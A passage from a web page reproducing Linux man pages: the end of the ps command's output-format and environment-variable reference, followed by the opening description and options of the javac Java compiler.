bsdstartSTARTtime the command started. If the process was started less than 24 hours ago, the output format is " HH:MM", else it is " Mmm:SS" (where Mmm is the three letters of the month). See also lstart, start, start_time, and stime.
bsdtimeTIMEaccumulated cpu time, user + system. The display format is usually "MMM:SS", but can be shifted to the right if the process used more than 999 minutes of cpu time.
cCprocessor utilization. Currently, this is the integer value of the percent usage over the lifetime of the process. (see %cpu).
caughtCAUGHTmask of the caught signals, see signal(7). According to the width of the field, a 32 or 64 bits mask in hexadecimal format is displayed, unless the --signames option is used. (alias sig_catch, sigcatch).
cgnameCGNAMEdisplay name of control groups to which the process belongs.
cgroupCGROUPdisplay control groups to which the process belongs.
cgroupnsCGROUPNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
classCLS

scheduling class of the process. (alias policy, cls). Field's possible values are:

- not reported
TS SCHED_OTHER
FF SCHED_FIFO
RR SCHED_RR
B SCHED_BATCH
ISO SCHED_ISO
IDL SCHED_IDLE
DLN SCHED_DEADLINE
? unknown value

clsCLS

scheduling class of the process. (alias policy, cls). Field's possible values are:

- not reported
TS SCHED_OTHER
FF SCHED_FIFO
RR SCHED_RR
B SCHED_BATCH
ISO SCHED_ISO
IDL SCHED_IDLE
DLN SCHED_DEADLINE
? unknown value

cmdCMDsee args. (alias args, command).
commCOMMANDcommand name (only the executable name). The output in this column may contain spaces. (alias ucmd, ucomm). See also the args format keyword, the -f option, and the c option.
When specified last, this column will extend to the edge of the display. If ps can not determine display width, as when output is redirected (piped) into a file or another command, the output width is undefined (it may be 80, unlimited, determined by the TERM variable, and so on). The COLUMNS environment variable or --cols option may be used to exactly determine the width in this case. The w or -w option may be also be used to adjust width.
commandCOMMANDSee args. (alias args, command).
cpCPper-mill (tenths of a percent) CPU usage. (see %cpu).
cputimeTIMEcumulative CPU time, "[DD-]hh:mm:ss" format. (alias time).
cputimesTIMEcumulative CPU time in seconds (alias times).
cuc%CUCThe CPU utilization of a process, including dead children, in an extended "##.###" format. (see also %cpu, c, cp, cuu, pcpu).
cuu%CUUThe CPU utilization of a process in an extended "##.###" format. (see also %cpu, c, cp, cuc, pcpu).
drsDRS

data resident set size, the amount of private memory reserved by a process. It is also known as DATA. Such memory may not yet be mapped to rss but will always be included included in the vsz amount.

egidEGIDeffective group ID number of the process as a decimal integer. (alias gid).
egroupEGROUPeffective group ID of the process. This will be the textual group ID, if it can be obtained and the field width permits, or a decimal representation otherwise. (alias group).
eipEIPinstruction pointer. As of kernel 4.9.xx will be zeroed out unless task is exiting or being core dumped.
espESPstack pointer. As of kernel 4.9.xx will be zeroed out unless task is exiting or being core dumped.
etimeELAPSEDelapsed time since the process was started, in the form [[DD-]hh:]mm:ss.
etimesELAPSEDelapsed time since the process was started, in seconds.
euidEUIDeffective user ID (alias uid).
euserEUSEReffective user name. This will be the textual user ID, if it can be obtained and the field width permits, or a decimal representation otherwise. The n option can be used to force the decimal representation. (alias uname, user).
exeEXEpath to the executable. Useful if path cannot be printed via cmd, comm or args format options.
fFflags associated with the process, see the PROCESS FLAGS section. (alias flag, flags).
fgidFGIDfilesystem access group ID. (alias fsgid).
fgroupFGROUPfilesystem access group ID. This will be the textual group ID, if it can be obtained and the field width permits, or a decimal representation otherwise. (alias fsgroup).
flagFsee f. (alias f, flags).
flagsFsee f. (alias f, flag).
fnameCOMMANDfirst 8 bytes of the base name of the process's executable file. The output in this column may contain spaces.
fuidFUIDfilesystem access user ID. (alias fsuid).
fuserFUSERfilesystem access user ID. This will be the textual user ID, if it can be obtained and the field width permits, or a decimal representation otherwise.
gidGIDsee egid. (alias egid).
groupGROUPsee egroup. (alias egroup).
ignoredIGNOREDmask of the ignored signals, see signal(7). According to the width of the field, a 32 or 64 bits mask in hexadecimal format is displayed, unless the --signames option is used. (alias sig_ignore, sigignore).
ipcnsIPCNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
labelLABELsecurity label, most commonly used for SELinux context data. This is for the Mandatory Access Control ("MAC") found on high-security systems.
lstartSTARTEDtime the command started. This will be in the form "DDD mmm HH:MM:SS YYY" unless changed by the -D option.
lsessionSESSIONdisplays the login session identifier of a process, if systemd support has been included.
luidLUIDdisplays Login ID associated with a process.
lwpLWPlight weight process (thread) ID of the dispatchable entity (alias spid, tid). See tid for additional information.
lxcLXCThe name of the lxc container within which a task is running. If a process is not running inside a container, a dash ('-') will be shown.
machineMACHINEdisplays the machine name for processes assigned to VM or container, if systemd support has been included.
maj_fltMAJFLTThe number of major page faults that have occurred with this process.
min_fltMINFLTThe number of minor page faults that have occurred with this process.
mntnsMNTNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
netnsNETNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
niNInice value. This ranges from 19 (nicest) to -20 (not nice to others), see nice(1). (alias nice).
niceNIsee ni.(alias ni).
nlwpNLWPnumber of lwps (threads) in the process. (alias thcount).
numaNUMAThe node associated with the most recently used processor. A -1 means that NUMA information is unavailable.
nwchanWCHANaddress of the kernel function where the process is sleeping (use wchan if you want the kernel function name).
oomOOMOut of Memory Score. The value, ranging from 0 to +1000, used to select task(s) to kill when memory is exhausted.
oomadjOOMADJOut of Memory Adjustment Factor. The value is added to the current out of memory score which is then used to determine which task to kill when memory is exhausted.
ouidOWNERdisplays the Unix user identifier of the owner of the session of a process, if systemd support has been included.
pcpu%CPUsee %cpu. (alias %cpu).
pendingPENDINGmask of the pending signals. See signal(7). Signals pending on the process are distinct from signals pending on individual threads. Use the m option or the -m option to see both. According to the width of the field, a 32 or 64 bits mask in hexadecimal format is displayed, unless the --signames option is used. (alias sig).
pgidPGIDprocess group ID or, equivalently, the process ID of the process group leader. (alias pgrp).
pgrpPGRPsee pgid. (alias pgid).
pidPIDa number representing the process ID (alias tgid).
pidnsPIDNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
pmem%MEMsee %mem. (alias %mem).
policyPOL

scheduling class of the process. (alias class, cls). Possible values are:

- not reported
TS SCHED_OTHER
FF SCHED_FIFO
RR SCHED_RR
B SCHED_BATCH
ISO SCHED_ISO
IDL SCHED_IDLE
DLN SCHED_DEADLINE
? unknown value

ppidPPIDparent process ID.
priPRIpriority of the process. Higher number means higher priority.
psrPSRprocessor that process last executed on.
pssPSSProportional share size, the non-swapped physical memory, with shared memory proportionally accounted to all tasks mapping it.
rbytesRBYTESNumber of bytes which this process really did cause to be fetched from the storage layer.
rcharsRCHARSNumber of bytes which this task has caused to be read from storage.
rgidRGIDreal group ID.
rgroupRGROUPreal group name. This will be the textual group ID, if it can be obtained and the field width permits, or a decimal representation otherwise.
ropsROPSNumber of read I/O operations—that is, system calls such as read(2) and pread(2).
rssRSSresident set size, the non-swapped physical memory that a task has used (in kilobytes). (alias rssize, rsz).
rssizeRSSsee rss. (alias rss, rsz).
rszRSZsee rss. (alias rss, rssize).
rtprioRTPRIOrealtime priority.
ruidRUIDreal user ID.
ruserRUSERreal user ID. This will be the textual user ID, if it can be obtained and the field width permits, or a decimal representation otherwise.
sSminimal state display (one character). See section PROCESS STATE CODES for the different values. See also stat if you want additional information displayed. (alias state).
schedSCHscheduling policy of the process. The policies SCHED_OTHER (SCHED_NORMAL), SCHED_FIFO, SCHED_RR, SCHED_BATCH, SCHED_ISO, SCHED_IDLE and SCHED_DEADLINE are respectively displayed as 0, 1, 2, 3, 4, 5 and 6.
seatSEATdisplays the identifier associated with all hardware devices assigned to a specific workplace, if systemd support has been included.
sessSESSsession ID or, equivalently, the process ID of the session leader. (alias session, sid).
sgi_pPprocessor that the process is currently executing on. Displays "*" if the process is not currently running or runnable.
sgidSGIDsaved group ID. (alias svgid).
sgroupSGROUPsaved group name. This will be the textual group ID, if it can be obtained and the field width permits, or a decimal representation otherwise.
sidSIDsee sess. (alias sess, session).
sigPENDINGsee pending. (alias pending, sig_pend).
sigcatchCAUGHTsee caught. (alias caught, sig_catch).
sigignoreIGNOREDsee ignored. (alias ignored, sig_ignore).
sigmaskBLOCKEDsee blocked. (alias blocked, sig_block).
sizeSIZEapproximate amount of swap space that would be required if the process were to dirty all writable pages and then be swapped out. This number is very rough!
sliceSLICEdisplays the slice unit which a process belongs to, if systemd support has been included.
spidSPIDsee lwp. (alias lwp, tid).
stackpSTACKPaddress of the bottom (start) of stack for the process.
startSTARTEDtime the command started. If the process was started less than 24 hours ago, the output format is "HH:MM:SS", else it is " Mmm dd" (where Mmm is a three-letter month name). See also bsdstart, start, start_time, and stime.
start_timeSTARTstarting time or date of the process. Only the year will be displayed if the process was not started the same year ps was invoked, or "MmmDD" if it was not started the same day, or "HH:MM" otherwise. See also bsdstart, start, lstart, and stime.
statSTATmulti-character process state. See section PROCESS STATE CODES for the different values meaning. See also s and state if you just want the first character displayed.
stateSsee s. (alias s).
stimeSTIMEsee start_time. (alias start_time).
suidSUIDsaved user ID. (alias svuid).
supgidSUPGIDgroup ids of supplementary groups, if any. See getgroups(2).
supgrpSUPGRPgroup names of supplementary groups, if any. See getgroups(2).
suserSUSERsaved user name. This will be the textual user ID, if it can be obtained and the field width permits, or a decimal representation otherwise. (alias svuser).
svgidSVGIDsee sgid. (alias sgid).
svuidSVUIDsee suid. (alias suid).
szSZsize in physical pages of the core image of the process. This includes text, data, and stack space. Device mappings are currently excluded; this is subject to change. See vsz and rss.
tgidTGIDa number representing the thread group to which a task belongs (alias pid). It is the process ID of the thread group leader.
thcountTHCNTsee nlwp. (alias nlwp). number of kernel threads owned by the process.
tidTIDthe unique number representing a dispatchable entity (alias spid, tid). This value may also appear as: a process ID (pid); a process group ID (pgrp); a session ID for the session leader (sid); a thread group ID for the thread group leader (tgid); and a tty process group ID for the process group leader (tpgid).
timeTIMEcumulative CPU time, "[DD-]HH:MM:SS" format. (alias cputime).
timensTIMENSUnique inode number describing the namespace the process belongs to. See namespaces(7).
timesTIMEcumulative CPU time in seconds (alias cputimes).
tnameTTYcontrolling tty (terminal). (alias tt, tty).
tpgidTPGIDID of the foreground process group on the tty (terminal) that the process is connected to, or -1 if the process is not connected to a tty.
trsTRStext resident set size, the amount of physical memory devoted to executable code.
ttTTcontrolling tty (terminal). (alias tname, tty).
ttyTTcontrolling tty (terminal). (alias tname, tt).
ucmdCMDsee comm. (alias comm, ucomm).
ucommCOMMANDsee comm. (alias comm, ucmd).
uidUIDsee euid. (alias euid).
unameUSERsee euser. (alias euser, user).
unitUNITdisplays unit which a process belongs to, if systemd support has been included.
userUSERsee euser. (alias euser, uname).
usernsUSERNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
ussUSSUnique set size, the non-swapped physical memory, which is not shared with an another task.
utsnsUTSNSUnique inode number describing the namespace the process belongs to. See namespaces(7).
uunitUUNITdisplays user unit which a process belongs to, if systemd support has been included.
vsizeVSZsee vsz. (alias vsz).
vszVSZvirtual memory size of the process in KiB (1024-byte units). Device mappings are currently excluded; this is subject to change. (alias vsize).
wbytesWBYTESNumber of bytes which this process caused to be sent to the storage layer.
wcbytesWCBYTESNumber of cancelled write bytes.
wchanWCHANname of the kernel function in which the process is sleeping.
wcharsWCHARSNumber of bytes which this task has caused, or shall cause to be written to disk.
wopsWOPSNumber of write I/O operations—that is, system calls such as write(2) and pwrite(2).

ENVIRONMENT VARIABLES

The following environment variables could affect ps:

COLUMNS
Override default display width.

LINES
Override default display height.

PS_PERSONALITY
Set to one of posix, old, linux, bsd, sun, digital… (see section PERSONALITY below).

CMD_ENV
Set to one of posix, old, linux, bsd, sun, digital… (see section PERSONALITY below).

I_WANT_A_BROKEN_PS
Force obsolete command line interpretation.

LC_TIME
Date format.

LIBPROC_HIDE_KERNEL
Set this to any value to hide kernel threads normally displayed with the -e option. This is equivalent to selecting –ppid 2 -p 2 –deselect instead. Also works in BSD mode.

PS_COLORS
Not currently supported.

PS_FORMAT
Default output format override. You may set this to a format string of the type used for the -o option. The DefSysV and DefBSD values are particularly useful.

POSIXLY_CORRECT
Don’t find excuses to ignore bad “features”.

POSIX2
When set to “on”, acts as POSIXLY_CORRECT.

UNIX95
Don’t find excuses to ignore bad “features”.

_XPG
Cancel CMD_ENV= irix non-standard behavior.

In general, it is a bad idea to set these variables. The one exception is CMD_ENV or PS_PERSONALITY, which could be set to Linux for normal systems. Without that setting, ps follows the useless and bad parts of the Unix98 standard.

PERSONALITY

390like the OS/390 OpenEdition ps
aixlike AIX ps
bsdlike FreeBSD ps (totally non-standard)
compaqlike Digital Unix ps
debianlike the old Debian ps
digitallike Tru64 (was Digital Unix, was OSF/1) ps
gnulike the old Debian ps
hplike HP-UX ps
hpuxlike HP-UX ps
irixlike Irix ps
linux***** recommended *****
oldlike the original Linux ps (totally non-standard)
os390like OS/390 Open Edition ps
posixstandard
s390like OS/390 Open Edition ps
scolike SCO ps
sgilike Irix ps
solaris2like Solaris 2+ (SunOS 5) ps
sunos4like SunOS 4 (Solaris 1) ps (totally non-standard)
svr4standard
sysvstandard
tru64like Tru64 (was Digital Unix, was OSF/1) ps
unixstandard
unix95standard
unix98standard

BUGS

The fields bsdstart and start will only show the abbreviated month name in English. The fields lstart and stime will show the abbreviated month name in the configured locale but may exceed the column width due to the different lengths for abbreviated month and day names across languages.

SEE ALSO

pgrep(1), pstree(1), top(1), strftime(3), proc(5).

STANDARDS

This ps conforms to:

  1. Version 2 of the Single Unix Specification

  2. The Open Group Technical Standard Base Specifications, Issue 6

  3. IEEE Std 1003.1, 2004 Edition

  4. X/Open System Interfaces Extension [UP XSI]

  5. ISO/IEC 9945:2003

AUTHOR

ps was originally written by Branko Lankester. Michael K. Johnson re-wrote it significantly to use the proc filesystem, changing a few things in the process. Michael Shields added the pid-list feature. Charles Blake added multi-level sorting, the dirent-style library, the device name-to-number mmaped database, the approximate binary search directly on System.map, and many code and documentation cleanups. David Mossberger-Tang wrote the generic BFD support for psupdate. Albert Cahalan rewrote ps for full Unix98 and BSD support, along with some ugly hacks for obsolete and foreign syntax.

Please send bug reports to . No subscription is required or suggested.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1999 - Linux cli command javac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command javac and provides detailed information about the command javac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the javac.

NAME 🖥️ javac 🖥️

read Java declarations and compile them into class files

SYNOPSIS

javac [options] [sourcefiles-or-classnames]

options
Command-line options.

sourcefiles-or-classnames
Source files to be compiled (for example, Shape.java) or the names of previously compiled classes to be processed for annotations (for example, geometry.MyShape).

DESCRIPTION

The javac command reads source files that contain module, package and type declarations written in the Java programming language, and compiles them into class files that run on the Java Virtual Machine.

The javac command can also process annotations in Java source files and classes.

Source files must have a file name extension of .java. Class files have a file name extension of .class. Both source and class files normally have file names that identify the contents. For example, a class called Shape would be declared in a source file called Shape.java, and compiled into a class file called Shape.class.

There are two ways to specify source files to javac:

  • For a small number of source files, you can list their file names on the command line.

  • For a large number of source files, you can use the @filename option on the command line to specify an argument file that lists their file names. See Standard Options for a description of the option and Command-Line Argument Files for a description of javac argument files.

The order of source files specified on the command line or in an argument file is not important. javac will compile the files together, as a group, and will automatically resolve any dependencies between the declarations in the various source files.

javac expects that source files are arranged in one or more directory hierarchies on the file system, described in Arrangement of Source Code.

To compile a source file, javac needs to find the declaration of every class or interface that is used, extended, or implemented by the code in the source file. This lets javac check that the code has the right to access those classes and interfaces. Rather than specifying the source files of those classes and interfaces explicitly, you can use command-line options to tell javac where to search for their source files. If you have compiled those source files previously, you can use options to tell javac where to search for the corresponding class files. The options, which all have names ending in “path”, are described in Standard Options, and further described in Configuring a Compilation and Searching for Module, Package and Type Declarations.

By default, javac compiles each source file to a class file in the same directory as the source file. However, it is recommended to specify a separate destination directory with the -d option.

Command-line options and environment variables also control how javac performs various tasks:

  • Compiling code to run on earlier releases of the JDK.

  • Compiling code to run under a debugger.

  • Checking for stylistic issues in Java source code.

  • Checking for problems in javadoc comments (/** ... */).

  • Processing annotations in source files and class files.

  • Upgrading and patching modules in the compile-time environment.

javac supports Compiling for Earlier Releases Of The Platform and can also be invoked from Java code using one of a number of APIs

OPTIONS

javac provides standard options, and extra options that are either non-standard or are for advanced use.

Some options take one or more arguments. If an argument contains spaces or other whitespace characters, the value should be quoted according to the conventions of the environment being used to invoke javac. If the option begins with a single dash (-) the argument should either directly follow the option name, or should be separated with a colon (:) or whitespace, depending on the option. If the option begins with a double dash (--), the argument may be separated either by whitespace or by an equals (=) character with no additional whitespace. For example,

-Aname="J. Duke"
-proc:only
-d myDirectory
--module-version 3
--module-version=3

In the following lists of options, an argument of path represents a search path, composed of a list of file system locations separated by the platform path separator character, (semicolon ; on Windows, or colon : on other systems.) Depending on the option, the file system locations may be directories, JAR files or JMOD files.

Standard Options

****@filename
Reads options and file names from a file. To shorten or simplify the javac command, you can specify one or more files that contain arguments to the javac command (except -J options). This lets you to create javac commands of any length on any operating system. See Command-Line Argument Files.

****-Akey[=value]
Specifies options to pass to annotation processors. These options are not interpreted by javac directly, but are made available for use by individual processors. The key value should be one or more identifiers separated by a dot (.).

--add-modules module,module
Specifies root modules to resolve in addition to the initial modules, or all modules on the module path if module is ALL-MODULE-PATH.

--boot-class-path path or -bootclasspath path
Overrides the location of the bootstrap class files.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details. For JDK 9 or later, see --system.

--class-path path, -classpath path, or -cp path
Specifies where to find user class files and annotation processors. This class path overrides the user class path in the CLASSPATH environment variable.

  • If --class-path, -classpath, or -cp are not specified, then the user class path is the value of the CLASSPATH environment variable, if that is set, or else the current directory.

  • If not compiling code for modules, if the --source-path or -sourcepath` option is not specified, then the user class path is also searched for source files.

  • If the -processorpath option is not specified, then the class path is also searched for annotation processors.

-d directory
Sets the destination directory (or class output directory) for class files. If a class is part of a package, then javac puts the class file in a subdirectory that reflects the module name (if appropriate) and package name. The directory, and any necessary subdirectories, will be created if they do not already exist.

If the -d option is not specified, then javac puts each class file in the same directory as the source file from which it was generated.

Except when compiling code for multiple modules, the contents of the class output directory will be organized in a package hierarchy. When compiling code for multiple modules, the contents of the output directory will be organized in a module hierarchy, with the contents of each module in a separate subdirectory, each organized as a package hierarchy.

Note: When compiling code for one or more modules, the class output directory will automatically be checked when searching for previously compiled classes. When not compiling for modules, for backwards compatibility, the directory is not automatically checked for previously compiled classes, and so it is recommended to specify the class output directory as one of the locations on the user class path, using the --class-path option or one of its alternate forms.

-deprecation
Shows a description of each use or override of a deprecated member or class. Without the -deprecation option, javac shows a summary of the source files that use or override deprecated members or classes. The -deprecation option is shorthand for -Xlint:deprecation.

--enable-preview
Enables preview language features. Used in conjunction with either -source or --release.

-encoding encoding
Specifies character encoding used by source files, such as EUC-JP and UTF-8. If the -encoding option is not specified, then the platform default converter is used.

-endorseddirs directories
Overrides the location of the endorsed standards path.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

-extdirs directories
Overrides the location of the installed extensions. directories is a list of directories, separated by the platform path separator (; on Windows, and : otherwise). Each JAR file in the specified directories is searched for class files. All JAR files found become part of the class path.

If you are compiling for a release of the platform that supports the Extension Mechanism, then this option specifies the directories that contain the extension classes. See [Compiling for Other Releases of the Platform].

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

-g
Generates all debugging information, including local variables. By default, only line number and source file information is generated.

****-g:[lines, vars, source]
Generates only the kinds of debugging information specified by the comma-separated list of keywords. Valid keywords are:

lines
Line number debugging information.

vars
Local variable debugging information.

source
Source file debugging information.

-g:none
Does not generate debugging information.

-h directory
Specifies where to place generated native header files.

When you specify this option, a native header file is generated for each class that contains native methods or that has one or more constants annotated with the java.lang.annotation.Native annotation. If the class is part of a package, then the compiler puts the native header file in a subdirectory that reflects the module name (if appropriate) and package name. The directory, and any necessary subdirectories, will be created if they do not already exist.

**--help**, -help or -?
Prints a synopsis of the standard options.

--help-extra or -X
Prints a synopsis of the set of extra options.

--help-lint
Prints the supported keys for the -Xlint option.

****-implicit:[none, class]
Specifies whether or not to generate class files for implicitly referenced files:

  • -implicit:class — Automatically generates class files.

  • -implicit:none — Suppresses class file generation.

If this option is not specified, then the default automatically generates class files. In this case, the compiler issues a warning if any class files are generated when also doing annotation processing. The warning is not issued when the -implicit option is explicitly set. See Searching for Module, Package and Type Declarations.

****-Joption
Passes option to the runtime system, where option is one of the Java options described on java command. For example, -J-Xms48m sets the startup memory to 48 MB.

Note: The CLASSPATH environment variable, -classpath option, -bootclasspath option, and -extdirs option do not specify the classes used to run javac. Trying to customize the compiler implementation with these options and variables is risky and often does not accomplish what you want. If you must customize the compiler implementation, then use the -J option to pass options through to the underlying Java launcher.

--limit-modules module,module*
Limits the universe of observable modules.

**--module module-name (**,module-name)* or -m module-name (,module-name)*
Compiles those source files in the named modules that are newer than the corresponding files in the output directory.

--module-path path or -p path
Specifies where to find application modules.

--module-source-path module-source-path
Specifies where to find source files when compiling code in multiple modules. See [Compilation Modes] and The Module Source Path Option.

--module-version version
Specifies the version of modules that are being compiled.

-nowarn
Disables warning messages. This option operates the same as the -Xlint:none option.

-parameters
Generates metadata for reflection on method parameters. Stores formal parameter names of constructors and methods in the generated class file so that the method java.lang.reflect.Executable.getParameters from the Reflection API can retrieve them.

****-proc:[none, only]
Controls whether annotation processing and compilation are done. -proc:none means that compilation takes place without annotation processing. -proc:only means that only annotation processing is done, without any subsequent compilation.

**-processor class1[**,class2,class3…]
Names of the annotation processors to run. This bypasses the default discovery process.

--processor-module-path path
Specifies the module path used for finding annotation processors.

--processor-path path or -processorpath path
Specifies where to find annotation processors. If this option is not used, then the class path is searched for processors.

-profile profile
Checks that the API used is available in the specified profile.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

--release release
Compiles source code according to the rules of the Java programming language for the specified Java SE release, generating class files which target that release. Source code is compiled against the combined Java SE and JDK API for the specified release.

The supported values of release are the current Java SE release and a limited number of previous releases, detailed in the command-line help.

For the current release, the Java SE API consists of the java.*, javax.*, and org.* packages that are exported by the Java SE modules in the release; the JDK API consists of the com.* and jdk.* packages that are exported by the JDK modules in the release, plus the javax.* packages that are exported by standard, but non-Java SE, modules in the release.

For previous releases, the Java SE API and the JDK API are as defined in that release.

Note: When using --release, you cannot also use the --source/-source or --target/-target options.

Note: When using --release to specify a release that supports the Java Platform Module System, the --add-exports option cannot be used to enlarge the set of packages exported by the Java SE, JDK, and standard modules in the specified release.

-s directory
Specifies the directory used to place the generated source files. If a class is part of a package, then the compiler puts the source file in a subdirectory that reflects the module name (if appropriate) and package name. The directory, and any necessary subdirectories, will be created if they do not already exist.

Except when compiling code for multiple modules, the contents of the source output directory will be organized in a package hierarchy. When compiling code for multiple modules, the contents of the source output directory will be organized in a module hierarchy, with the contents of each module in a separate subdirectory, each organized as a package hierarchy.

--source release or -source release
Compiles source code according to the rules of the Java programming language for the specified Java SE release. The supported values of release are the current Java SE release and a limited number of previous releases, detailed in the command-line help.

If the option is not specified, the default is to compile source code according to the rules of the Java programming language for the current Java SE release.

--source-path path or -sourcepath path
Specifies where to find source files. Except when compiling multiple modules together, this is the source code path used to search for class or interface definitions.

Note: Classes found through the class path might be recompiled when their source files are also found. See Searching for Module, Package and Type Declarations.

--system jdk | none
Overrides the location of system modules.

--target release or -target release
Generates class files suitable for the specified Java SE release. The supported values of release are the current Java SE release and a limited number of previous releases, detailed in the command-line help.

Note: The target release must be equal to or higher than the source release. (See --source.)

--upgrade-module-path path
Overrides the location of upgradeable modules.

-verbose
Outputs messages about what the compiler is doing. Messages include information about each class loaded and each source file compiled.

--version or -version
Prints version information.

-Werror
Terminates compilation when warnings occur.

Extra Options

--add-exports module/package=other-module(,other-module)*
Specifies a package to be considered as exported from its defining module to additional modules or to all unnamed modules when the value of other-module is ALL-UNNAMED.

--add-reads module=other-module(,other-module)*
Specifies additional modules to be considered as required by a given module.

--default-module-for-created-files module-name
Specifies the fallback target module for files created by annotation processors, if none is specified or inferred.

****-Djava.endorsed.dirs=dirs
Overrides the location of the endorsed standards path.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

****-Djava.ext.dirs=dirs
Overrides the location of installed extensions.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

--patch-module module=path
Overrides or augments a module with classes and resources in JAR files or directories.

****-Xbootclasspath:path
Overrides the location of the bootstrap class files.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

****-Xbootclasspath/a:path
Adds a suffix to the bootstrap class path.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

****-Xbootclasspath/p:path
Adds a prefix to the bootstrap class path.

Note: This can only be used when compiling for releases prior to JDK 9. As applicable, see the descriptions in --release, -source, or -target for details.

****-Xdiags:[compact, verbose]
Selects a diagnostic mode.

-Xdoclint
Enables recommended checks for problems in javadoc comments

****-Xdoclint:(all|none|[-]group)[/access]
Enables or disables specific groups of checks,

group can have one of the following values:

  • accessibility

  • html

  • missing

  • reference

  • syntax

The variable access specifies the minimum visibility level of classes and members that the -Xdoclint option checks. It can have one of the following values (in order of most to least visible):

  • public

  • protected

  • package

  • private

The default access level is private.

For more information about these groups of checks, see the -Xdoclint option of the javadoc command. The -Xdoclint option is disabled by default in the javac command.

For example, the following option checks classes and members (with all groups of checks) that have the access level of protected and higher (which includes protected and public):

-Xdoclint:all/protected

The following option enables all groups of checks for all access levels, except it will not check for HTML errors for classes and members that have the access level of package and higher (which includes package, protected and public):

-Xdoclint:all,-html/package

****-Xdoclint/package:[-]packages(,[-]package)*
Enables or disables checks in specific packages. Each package is either the qualified name of a package or a package name prefix followed by .*, which expands to all sub-packages of the given package. Each package can be prefixed with a hyphen (-) to disable checks for a specified package or packages.

-Xlint
Enables all recommended warnings. In this release, enabling all available warnings is recommended.

****-Xlint:[-]key(,[-]key)*
Supplies warnings to enable or disable, separated by comma. Precede a key by a hyphen (-) to disable the specified warning.

Supported values for key are:

  • all: Enables all warnings.

  • auxiliaryclass: Warns about an auxiliary class that’s hidden in a source file, and is used from other files.

  • cast: Warns about the use of unnecessary casts.

  • classfile: Warns about the issues related to classfile contents.

  • deprecation: Warns about the use of deprecated items.

  • dep-ann: Warns about the items marked as deprecated in javadoc but without the @Deprecated annotation.

  • divzero: Warns about the division by the constant integer 0.

  • empty: Warns about an empty statement after if.

  • exports: Warns about the issues regarding module exports.

  • fallthrough: Warns about the falling through from one case of a switch statement to the next.

  • finally: Warns about finally clauses that do not terminate normally.

  • module: Warns about the module system-related issues.

  • opens: Warns about the issues related to module opens.

  • options: Warns about the issues relating to use of command line options.

  • overloads: Warns about the issues related to method overloads.

  • overrides: Warns about the issues related to method overrides.

  • path: Warns about the invalid path elements on the command l ine.

  • processing: Warns about the issues related to annotation processing.

  • rawtypes: Warns about the use of raw types.

  • removal: Warns about the use of an API that has been marked for removal.

  • requires-automatic: Warns developers about the use of automatic modules in requires clauses.

  • requires-transitive-automatic: Warns about automatic modules in requires transitive.

  • serial: Warns about the serializable classes that do not provide a serial version ID. Also warns about access to non-public members from a serializable element.

  • static: Warns about the accessing a static member using an instance.

  • try: Warns about the issues relating to the use of try blocks ( that is, try-with-resources).

  • unchecked: Warns about the unchecked operations.

  • varargs: Warns about the potentially unsafe vararg methods.

  • none: Disables all warnings.

See Examples of Using -Xlint keys.

-Xmaxerrs number
Sets the maximum number of errors to print.

-Xmaxwarns number
Sets the maximum number of warnings to print.

****-Xpkginfo:[always, legacy, nonempty]
Specifies when and how the javac command generates package-info.class files from package-info.java files using one of the following options:

always
Generates a package-info.class file for every package-info.java file. This option may be useful if you use a build system such as Ant, which checks that each .java file has a corresponding .class file.

legacy
Generates a package-info.class file only if package-info.java contains annotations. This option does not generate a package-info.class file if package-info.java contains only comments.

Note: A package-info.class file might be generated but be empty if all the annotations in the package-info.java file have RetentionPolicy.SOURCE.

nonempty
Generates a package-info.class file only if package-info.java contains annotations with RetentionPolicy.CLASS or RetentionPolicy.RUNTIME.

****-Xplugin:name args
Specifies the name and optional arguments for a plug-in to be run. If args are provided, name and args should be quoted or otherwise escape the whitespace characters between the name and all the arguments. For details on the API for a plugin, see the API documentation for jdk.compiler/com.sun.source.util.Plugin.

****-Xprefer:[source, newer]
Specifies which file to read when both a source file and class file are found for an implicitly compiled class using one of the following options. See Searching for Module, Package and Type Declarations.

  • -Xprefer:newer: Reads the newer of the source or class files for a type (default).

  • -Xprefer:source : Reads the source file. Use -Xprefer:source when you want to be sure that any annotation processors can access annotations declared with a retention policy of SOURCE.

-Xprint
Prints a textual representation of specified types for debugging purposes. This does not perform annotation processing or compilation. The format of the output could change.

-XprintProcessorInfo
